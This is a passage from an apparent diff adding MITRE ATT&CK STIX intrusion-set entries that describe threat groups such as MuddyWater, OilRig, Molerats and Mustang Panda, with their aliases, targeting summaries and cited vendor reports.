2021.", + "source_name": "Eweek Newscaster and Charming Kitten May 2014" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2019/10/The-Kittens-Are-Back-in-Town-2-1.pdf", + "description": "ClearSky Research Team. (2019, October 1). The Kittens Are Back in Town2 - Charming Kitten Campaign KeepsGoing on, Using New Impersonation Methods. Retrieved April 21, 2021.", + "source_name": "ClearSky Kittens Back 2 Oct 2019" + }, + { + "url": "https://securityintelligence.com/posts/new-research-exposes-iranian-threat-group-operations/", + "description": "Wikoff, A. Emerson, R. (2020, July 16). New Research Exposes Iranian Threat Group Operations. Retrieved March 8, 2021.", + "source_name": "IBM ITG18 2020" + }, + { + "url": "https://blogs.microsoft.com/on-the-issues/2019/03/27/new-steps-to-protect-customers-from-hacking/", + "description": "Burt, T. (2019, March 27). New steps to protect customers from hacking. Retrieved May 27, 2020.", + "source_name": "Microsoft Phosphorus Mar 2019" + }, + { + "url": "https://blogs.microsoft.com/on-the-issues/2020/10/28/cyberattacks-phosphorus-t20-munich-security-conference/", + "description": "Burt, T. (2020, October 28). Cyberattacks target international conference attendees. Retrieved March 8, 2021.", + "source_name": "Microsoft Phosphorus Oct 2020" + }, + { + "url": "https://noticeofpleadings.com/phosphorus/files/Complaint.pdf", + "description": "US District Court of DC. (2019, March 14). MICROSOFT CORPORATION v. JOHN DOES 1-2, CONTROLLING A COMPUTER NETWORK AND THEREBY INJURING PLAINTIFF AND ITS CUSTOMERS. Retrieved March 8, 2021.", + "source_name": "US District Court of DC Phosphorus Complaint 2019" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Moafee", + "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)", + "x_mitre_version": "1.1", + "modified": "2020-03-30T19:09:42.298Z", + "aliases": [ + "Moafee" + ], + "created": "2017-05-31T21:31:46.025Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--2e5d3a83-fe00-41a5-9b60-237efc84832f", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0002", + "external_id": "G0002", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Haq 2014)", + "source_name": "Moafee" + }, + { + "source_name": "Haq 2014", + "description": "Haq, T., Moran, N., Scott, M., & Vashisht, S. O. (2014, September 10). The Path to Mass-Producing Cyber Attacks [Blog]. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Mofang", + "description": "[Mofang](https://attack.mitre.org/groups/G0103) is a likely China-based cyber espionage group, named for its frequent practice of imitating a victim's infrastructure. This adversary has been observed since at least May 2012 conducting focused attacks against government and critical infrastructure in Myanmar, as well as several other countries and sectors including military, automobile, and weapons industries.(Citation: FOX-IT May 2016 Mofang)", + "x_mitre_version": "1.0", + "modified": "2020-05-29T03:30:39.739Z", + "aliases": [ + "Mofang" + ], + "created": "2020-05-12T21:23:59.021Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--88489675-d216-4884-a98f-49a89fcc1643", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0103", + "external_id": "G0103", + "source_name": "mitre-attack" + }, + { + "url": "https://foxitsecurity.files.wordpress.com/2016/06/fox-it_mofang_threatreport_tlp-white.pdf", + "description": "Yonathan Klijnsma. (2016, May 17). Mofang: A politically motivated information stealing adversary. Retrieved May 12, 2020.", + "source_name": "FOX-IT May 2016 Mofang" + } + ] + }, + { + "type": "intrusion-set", + "modified": "2021-04-27T20:16:16.057Z", + "name": "Molerats", + "description": "[Molerats](https://attack.mitre.org/groups/G0021) is an Arabic-speaking, politically-motivated threat group that has been operating since 2012. The group's victims have primarily been in the Middle East, Europe, and the United States.(Citation: DustySky)(Citation: DustySky2)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_version": "2.0", + "aliases": [ + "Molerats", + "Operation Molerats", + "Gaza Cybergang" + ], + "id": "intrusion-set--df71bb3b-813c-45eb-a8bc-f2a419837411", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:31:55.093Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0021", + "url": "https://attack.mitre.org/groups/G0021" + }, + { + "description": "(Citation: DustySky)", + "source_name": "Molerats" + }, + { + "description": "(Citation: FireEye Operation Molerats)(Citation: Cybereason Molerats Dec 2020)", + "source_name": "Operation Molerats" + }, + { + "description": "(Citation: DustySky)(Citation: Kaspersky MoleRATs April 2019)(Citation: Cybereason Molerats Dec 2020)", + "source_name": "Gaza Cybergang" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2016/01/Operation%20DustySky_TLP_WHITE.pdf", + "description": "ClearSky. (2016, January 7). Operation DustySky. Retrieved January 8, 2016.", + "source_name": "DustySky" + }, + { + "source_name": "DustySky2", + "description": "ClearSky Cybersecurity. (2016, June 9). Operation DustySky - Part 2. Retrieved August 3, 2016.", + "url": "http://www.clearskysec.com/wp-content/uploads/2016/06/Operation-DustySky2_-6.2016_TLP_White.pdf" + }, + { + "url": "https://securelist.com/gaza-cybergang-group1-operation-sneakypastes/90068/", + "description": "GReAT. (2019, April 10). Gaza Cybergang Group1, operation SneakyPastes. Retrieved May 13, 2020.", + "source_name": "Kaspersky MoleRATs April 2019" + }, + { + "url": "https://www.cybereason.com/hubfs/dam/collateral/reports/Molerats-in-the-Cloud-New-Malware-Arsenal-Abuses-Cloud-Platforms-in-Middle-East-Espionage-Campaign.pdf", + "description": "Cybereason Nocturnus Team. (2020, December 9). MOLERATS IN THE CLOUD: New Malware Arsenal Abuses Cloud Platforms in Middle East Espionage Campaign. Retrieved December 22, 2020.", + "source_name": "Cybereason Molerats Dec 2020" + }, + { + "url": "https://www.fireeye.com/blog/threat-research/2013/08/operation-molerats-middle-east-cyber-attacks-using-poison-ivy.html", + "description": "Villeneuve, N., Haq, H., Moran, N. (2013, August 23). OPERATION MOLERATS: MIDDLE EAST CYBER ATTACKS USING POISON IVY. Retrieved April 1, 2016.", + "source_name": "FireEye Operation Molerats" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "MuddyWater", + "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) is an Iranian threat group that has primarily targeted Middle Eastern nations, and has also targeted European and North American nations. The group's victims are mainly in the telecommunications, government (IT services), and oil sectors. Activity from this group was previously linked to [FIN7](https://attack.mitre.org/groups/G0046), but the group is believed to be a distinct group possibly motivated by espionage.(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)(Citation: ClearSky MuddyWater Nov 2018)(Citation: ClearSky MuddyWater June 2019)(Citation: Reaqta MuddyWater November 2017)", + "x_mitre_version": "3.0", + "modified": "2021-04-26T22:30:05.308Z", + "aliases": [ + "MuddyWater", + "Earth Vetala ", + "MERCURY", + "Static Kitten", + "Seedworm", + "TEMP.Zagros" + ], + "created": "2018-04-18T17:59:24.739Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0069", + "external_id": "G0069", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Unit 42 MuddyWater Nov 2017)(Citation: Symantec MuddyWater Dec 2018)", + "source_name": "MuddyWater" + }, + { + "description": "(Citation: Trend Micro Muddy Water March 2021)", + "source_name": "Earth Vetala " + }, + { + "description": "(Citation: Anomali Static Kitten February 2021)", + "source_name": "MERCURY" + }, + { + "description": "(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)", + "source_name": "Static Kitten" + }, + { + "description": "(Citation: Symantec MuddyWater Dec 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)", + "source_name": "Seedworm" + }, + { + "description": "(Citation: FireEye MuddyWater Mar 2018)(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)", + "source_name": "TEMP.Zagros" + }, + { + "source_name": "Unit 42 MuddyWater Nov 2017", + "description": "Lancaster, T.. (2017, November 14). Muddying the Water: Targeted Attacks in the Middle East. Retrieved March 15, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/11/unit42-muddying-the-water-targeted-attacks-in-the-middle-east/" + }, + { + "source_name": "Symantec MuddyWater Dec 2018", + "description": "Symantec DeepSight Adversary Intelligence Team. (2018, December 10). Seedworm: Group Compromises Government Agencies, Oil & Gas, NGOs, Telecoms, and IT Firms. Retrieved December 14, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/seedworm-espionage-group" + }, + { + "source_name": "ClearSky MuddyWater Nov 2018", + "description": "ClearSky Cyber Security. (2018, November). MuddyWater Operations in Lebanon and Oman: Using an Israeli compromised domain for a two-stage campaign. Retrieved November 29, 2018.", + "url": "https://www.clearskysec.com/wp-content/uploads/2018/11/MuddyWater-Operations-in-Lebanon-and-Oman.pdf" + }, + { + "url": "https://www.clearskysec.com/wp-content/uploads/2019/06/Clearsky-Iranian-APT-group-%E2%80%98MuddyWater%E2%80%99-Adds-Exploits-to-Their-Arsenal.pdf", + "description": "ClearSky. (2019, June). Iranian APT group \u2018MuddyWater\u2019 Adds Exploits to Their Arsenal. Retrieved May 14, 2020.", + "source_name": "ClearSky MuddyWater June 2019" + }, + { + "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", + "description": "Reaqta. (2017, November 22). A dive into MuddyWater APT targeting Middle-East. Retrieved May 18, 2020.", + "source_name": "Reaqta MuddyWater November 2017" + }, + { + "url": "https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html", + "description": "Peretz, A. and Theck, E. (2021, March 5). Earth Vetala \u2013 MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.", + "source_name": "Trend Micro Muddy Water March 2021" + }, + { + "url": "https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies", + "description": "Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.", + "source_name": "Anomali Static Kitten February 2021" + }, + { + "source_name": "FireEye MuddyWater Mar 2018", + "description": "Singh, S. et al.. (2018, March 13). Iranian Threat Group Updates Tactics, Techniques and Procedures in Spear Phishing Campaign. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/iranian-threat-group-updates-ttps-in-spear-phishing-campaign.html" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Mustang Panda", + "x_mitre_version": "1.1", + "modified": "2021-10-14T21:11:44.216Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Mustang Panda", + "TA416", + "RedDelta", + "BRONZE PRESIDENT" + ], + "id": "intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4", + "description": "[Mustang Panda](https://attack.mitre.org/groups/G0129) is a China-based cyber espionage threat actor that was first observed in 2017 but may have been conducting operations since at least 2014. [Mustang Panda](https://attack.mitre.org/groups/G0129) has targeted government entities, nonprofits, religious, and other non-governmental organizations in the U.S., Germany, Mongolia, Myanmar, Pakistan, and Vietnam, among others.(Citation: Crowdstrike MUSTANG PANDA June 2018)(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019) ", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "created": "2021-04-12T15:56:28.861Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0129", + "external_id": "G0129", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Crowdstrike MUSTANG PANDA June 2018)", + "source_name": "Mustang Panda" + }, + { + "description": "(Citation: Proofpoint TA416 November 2020)", + "source_name": "TA416" + }, + { + "description": "(Citation: Recorded Future REDDELTA July 2020)", + "source_name": "RedDelta" + }, + { + "description": "(Citation: Secureworks BRONZE PRESIDENT December 2019)", + "source_name": "BRONZE PRESIDENT" + }, + { + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-june-mustang-panda/", + "description": "Meyers, A. (2018, June 15). Meet CrowdStrike\u2019s Adversary of the Month for June: MUSTANG PANDA. Retrieved April 12, 2021.", + "source_name": "Crowdstrike MUSTANG PANDA June 2018" + }, + { + "url": "https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations", + "description": "Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021.", + "source_name": "Anomali MUSTANG PANDA October 2019" + }, + { + "url": "https://www.secureworks.com/research/bronze-president-targets-ngos", + "description": "Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021.", + "source_name": "Secureworks BRONZE PRESIDENT December 2019" + }, + { + "url": "https://www.proofpoint.com/us/blog/threat-insight/ta416-goes-ground-and-returns-golang-plugx-malware-loader", + "description": "Proofpoint Threat Research Team. (2020, November 23). TA416 Goes to Ground and Returns with a Golang PlugX Malware Loader. Retrieved April 13, 2021.", + "source_name": "Proofpoint TA416 November 2020" + }, + { + "url": "https://go.recordedfuture.com/hubfs/reports/cta-2020-0728.pdf", + "description": "Insikt Group. (2020, July 28). CHINESE STATE-SPONSORED GROUP \u2018REDDELTA\u2019 TARGETS THE VATICAN AND CATHOLIC ORGANIZATIONS. Retrieved April 13, 2021.", + "source_name": "Recorded Future REDDELTA July 2020" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "NEODYMIUM", + "description": "[NEODYMIUM](https://attack.mitre.org/groups/G0055) is an activity group that conducted a campaign in May 2016 and has heavily targeted Turkish victims. The group has demonstrated similarity to another activity group called [PROMETHIUM](https://attack.mitre.org/groups/G0056) due to overlapping victim and campaign characteristics. (Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21) [NEODYMIUM](https://attack.mitre.org/groups/G0055) is reportedly associated closely with [BlackOasis](https://attack.mitre.org/groups/G0063) operations, but evidence that the group names are aliases has not been identified. (Citation: CyberScoop BlackOasis Oct 2017)", + "x_mitre_version": "1.0", + "modified": "2019-03-25T14:31:40.855Z", + "aliases": [ + "NEODYMIUM" + ], + "created": "2018-01-16T16:13:52.465Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--025bdaa9-897d-4bad-afa6-013ba5734653", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0055", + "external_id": "G0055", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Microsoft NEODYMIUM Dec 2016) (Citation: Microsoft SIR Vol 21)", + "source_name": "NEODYMIUM" + }, + { + "source_name": "Microsoft NEODYMIUM Dec 2016", + "description": "Microsoft. (2016, December 14). Twin zero-day attacks: PROMETHIUM and NEODYMIUM target individuals in Europe. Retrieved November 27, 2017.", + "url": "https://blogs.technet.microsoft.com/mmpc/2016/12/14/twin-zero-day-attacks-promethium-and-neodymium-target-individuals-in-europe/" + }, + { + "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft_Security_Intelligence_Report_Volume_21_English.pdf", + "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.", + "source_name": "Microsoft SIR Vol 21" + }, + { + "source_name": "CyberScoop BlackOasis Oct 2017", + "description": "Bing, C. (2017, October 16). Middle Eastern hacking group is using FinFisher malware to conduct international espionage. Retrieved February 15, 2018.", + "url": "https://www.cyberscoop.com/middle-eastern-hacking-group-using-finfisher-malware-conduct-international-espionage/" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Naikon", + "x_mitre_version": "2.0", + "modified": "2021-08-19T18:23:23.507Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Naikon" + ], + "id": "intrusion-set--2a158b0a-7ef8-43cb-9985-bf34d1e12050", + "description": "[Naikon](https://attack.mitre.org/groups/G0019) is assessed to be a state-sponsored cyber espionage group attributed to the Chinese People\u2019s Liberation Army\u2019s (PLA) Chengdu Military Region Second Technical Reconnaissance Bureau (Military Unit Cover Designator 78020).(Citation: CameraShy) Active since at least 2010, [Naikon](https://attack.mitre.org/groups/G0019) has primarily conducted operations against government, military, and civil organizations in Southeast Asia, as well as against international bodies such as the United Nations Development Programme (UNDP) and the Association of Southeast Asian Nations (ASEAN).(Citation: CameraShy)(Citation: Baumgartner Naikon 2015) \n\nWhile [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: Baumgartner Golovkin Naikon 2015)", + "x_mitre_contributors": [ + "Kyaw Pyiyt Htet, @KyawPyiytHtet" + ], + "created": "2017-05-31T21:31:54.232Z", + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "G0019", + "url": "https://attack.mitre.org/groups/G0019" + }, + { + "description": "(Citation: Baumgartner Naikon 2015)(Citation: CameraShy)(Citation: Baumgartner Golovkin Naikon 2015)", + "source_name": "Naikon" + }, + { + "url": "http://cdn2.hubspot.net/hubfs/454298/Project_CAMERASHY_ThreatConnect_Copyright_2015.pdf", + "description": "ThreatConnect Inc. and Defense Group Inc. (DGI). (2015, September 23). Project CameraShy: Closing the Aperture on China's Unit 78020. Retrieved December 17, 2015.", + "source_name": "CameraShy" + }, + { + "source_name": "Baumgartner Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May). The MsnMM Campaigns: The Earliest Naikon APT Campaigns. Retrieved April 10, 2019.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07205555/TheNaikonAPT-MsnMM1.pdf" + }, + { + "source_name": "Baumgartner Golovkin Naikon 2015", + "description": "Baumgartner, K., Golovkin, M.. (2015, May 14). The Naikon APT. Retrieved January 14, 2015.", + "url": "https://securelist.com/the-naikon-apt/69953/" + } + ] + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Night Dragon", + "description": "[Night Dragon](https://attack.mitre.org/groups/G0014) is a campaign name for activity involving a threat group that has conducted activity originating primarily in China. (Citation: McAfee Night Dragon)", + "x_mitre_version": "1.4", + "modified": "2021-10-12T22:12:11.717Z", + "aliases": [ + "Night Dragon" + ], + "created": "2017-05-31T21:31:51.643Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--23b6a0f5-fa95-46f9-a6f3-4549c5e45ec8", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0014", + "external_id": "G0014", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: McAfee Night Dragon)", + "source_name": "Night Dragon" + }, + { + "url": "https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf", + "description": "McAfee\u00ae Foundstone\u00ae Professional Services and McAfee Labs\u2122. (2011, February 10). Global Energy Cyberattacks: \u201cNight Dragon\u201d. Retrieved February 19, 2018.", + "source_name": "McAfee Night Dragon" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "intrusion-set", + "name": "Nomadic Octopus", + "description": "\n[Nomadic Octopus](https://attack.mitre.org/groups/G0133) is a Russian-speaking cyberespionage threat group that has primarily targeted Central Asia, including local governments, diplomatic missions, and individuals, since at least 2014. [Nomadic Octopus](https://attack.mitre.org/groups/G0133) has been observed conducting campaigns involving Android and Windows malware, mainly using the Delphi programming language, and building custom variants.(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", + "x_mitre_version": "1.0", + "modified": "2021-10-14T15:22:52.708Z", + "aliases": [ + "Nomadic Octopus", + "DustSquad" + ], + "created": "2021-08-24T17:04:27.002Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "intrusion-set--fed4f0a2-4347-4530-b0f5-6dfd49b29172", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0133", + "external_id": "G0133", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: SecurityWeek Nomadic Octopus Oct 2018)(Citation: ESET Nomadic Octopus 2018)", + "source_name": "Nomadic Octopus" + }, + { + "description": "(Citation: Security Affairs DustSquad Oct 2018)(Citation: Securelist Octopus Oct 2018)(Citation: SecurityWeek Nomadic Octopus Oct 2018)", + "source_name": "DustSquad" + }, + { + "url": "https://securityaffairs.co/wordpress/77165/apt/russia-linked-apt-dustsquad.html", + "description": "Paganini, P. (2018, October 16). Russia-linked APT group DustSquad targets diplomatic entities in Central Asia. Retrieved August 24, 2021.", + "source_name": "Security Affairs DustSquad Oct 2018" + }, + { + "source_name": "Securelist Octopus Oct 2018", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2018, October 15). Octopus-infested seas of Central Asia. Retrieved November 14, 2018.", + "url": "https://securelist.com/octopus-infested-seas-of-central-asia/88200/" + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference_slides/2018/Cherepanov-VB2018-Octopus.pdf", + "description": "Cherepanov, A. (2018, October 4). Nomadic Octopus Cyber espionage in Central Asia. Retrieved October 13, 2021.", + "source_name": "ESET Nomadic Octopus 2018" + }, + { + "url": "https://www.securityweek.com/russia-linked-hackers-target-diplomatic-entities-central-asia", + "description": "Kovacs, E. (2018, October 18). Russia-Linked Hackers Target Diplomatic Entities in Central Asia. Retrieved October 13, 2021.", + "source_name": "SecurityWeek Nomadic Octopus Oct 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "modified": "2021-10-15T22:04:08.941Z", + "name": "OilRig", + "x_mitre_version": "3.0", + "created": "2017-12-14T16:46:06.044Z", + "type": "intrusion-set", + "id": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d", + "description": "[OilRig](https://attack.mitre.org/groups/G0049) is a suspected Iranian threat group that has targeted Middle Eastern and international victims since at least 2014. The group has targeted a variety of sectors, including financial, government, energy, chemical, and telecommunications. It appears the group carries out supply chain attacks, leveraging the trust relationship between organizations to attack their primary targets. FireEye assesses that the group works on behalf of the Iranian government based on infrastructure details that contain references to Iran, use of Iranian infrastructure, and targeting that aligns with nation-state interests. (Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: FireEye APT34 Dec 2017)(Citation: Unit 42 QUADAGENT July 2018)", + "x_mitre_contributors": [ + "Robert Falcone", + "Bryan Lee" + ], + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0049", + "external_id": "G0049", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: Palo Alto OilRig April 2017) (Citation: ClearSky OilRig Jan 2017) (Citation: Palo Alto OilRig May 2016) (Citation: Palo Alto OilRig Oct 2016) (Citation: Unit 42 Playbook Dec 2017) (Citation: Unit 42 QUADAGENT July 2018)", + "source_name": "OilRig" + }, + { + "description": "(Citation: Secureworks COBALT GYPSY Threat Profile)", + "source_name": "COBALT GYPSY" + }, + { + "description": "(Citation: Crowdstrike Helix Kitten Nov 2018)", + "source_name": "IRN2" + }, + { + "description": "(Citation: Unit 42 QUADAGENT July 2018)(Citation: Crowdstrike Helix Kitten Nov 2018)", + "source_name": "HELIX KITTEN" + }, + { + "description": "This group was previously tracked under two distinct groups, APT34 and OilRig, but was combined due to additional reporting giving higher confidence about the overlap of the activity. (Citation: Unit 42 QUADAGENT July 2018) (Citation: FireEye APT34 Dec 2017)(Citation: Check Point APT34 April 2021)", + "source_name": "APT34" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2017/04/unit42-oilrig-actors-provide-glimpse-development-testing-efforts/", + "description": "Falcone, R.. (2017, April 27). OilRig Actors Provide a Glimpse into Development and Testing Efforts. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig April 2017" + }, + { + "url": "http://www.clearskysec.com/oilrig/", + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "source_name": "ClearSky OilRig Jan 2017" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", + "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig May 2016" + }, + { + "url": "http://researchcenter.paloaltonetworks.com/2016/10/unit42-oilrig-malware-campaign-updates-toolset-and-expands-targets/", + "description": "Grunzweig, J. and Falcone, R.. (2016, October 4). OilRig Malware Campaign Updates Toolset and Expands Targets. Retrieved May 3, 2017.", + "source_name": "Palo Alto OilRig Oct 2016" + }, + { + "source_name": "Unit 42 Playbook Dec 2017", + "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", + "url": "https://pan-unit42.github.io/playbook_viewer/" + }, + { + "source_name": "FireEye APT34 Dec 2017", + "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html" + }, + { + "source_name": "Unit 42 QUADAGENT July 2018", + "description": "Lee, B., Falcone, R. (2018, July 25). OilRig Targets Technology Service Provider and Government Agency with QUADAGENT. Retrieved August 9, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-oilrig-targets-technology-service-provider-government-agency-quadagent/" + }, + { + "url": "https://www.secureworks.com/research/threat-profiles/cobalt-gypsy", + "description": "Secureworks. (n.d.). COBALT GYPSY Threat Profile. Retrieved April 14, 2021.", + "source_name": "Secureworks COBALT GYPSY Threat Profile" + }, + { + "source_name": "Crowdstrike Helix Kitten Nov 2018", + "description": "Meyers, A. (2018, November 27). Meet CrowdStrike\u2019s Adversary of the Month for November: HELIX KITTEN. Retrieved December 18, 2018.", + "url": "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-november-helix-kitten/" + }, + { + "url": "https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/", + "description": "Check Point. (2021, April 8). Iran\u2019s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021.", + "source_name": "Check Point APT34 April 2021" + } + ], + "aliases": [ + "OilRig", + "COBALT GYPSY", + "IRN2", + "HELIX KITTEN", + "APT34" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" + }, + { + "type": "intrusion-set", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Operation Wocao", + "x_mitre_version": "1.0", + "modified": "2021-04-20T00:14:14.838Z", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "aliases": [ + "Operation Wocao" + ], + "id": "intrusion-set--28f04ed3-8e91-4805-b1f6-869020517871", + "description": "[Operation Wocao](https://attack.mitre.org/groups/G0116) described activities carried out by a China-based cyber espionage adversary. [Operation Wocao](https://attack.mitre.org/groups/G0116) targeted entities within the government, managed service providers, energy, health care, and technology sectors across several countries, including China, France, Germany, the United Kingdom, and the United States. [Operation Wocao](https://attack.mitre.org/groups/G0116) used similar TTPs and tools to APT20, suggesting a possible overlap.(Citation: FoxIT Wocao December 2019)", + "x_mitre_contributors": [ + "Erik Schamper, @Schamperr, Fox-IT", + "Maarten van Dantzig, @MaartenVDantzig, Fox-IT" + ], + "created": "2020-11-17T20:33:44.273Z", + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0116", + "external_id": "G0116", + "source_name": "mitre-attack" + }, + { + "description": "(Citation: FoxIT Wocao December 2019)", + "source_name": "Operation Wocao" + }, + { + "url": "https://resources.fox-it.com/rs/170-CAK-271/images/201912_Report_Operation_Wocao.pdf", + "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", + "source_name": "FoxIT Wocao December 2019" + } + ] + }, + { + "type": 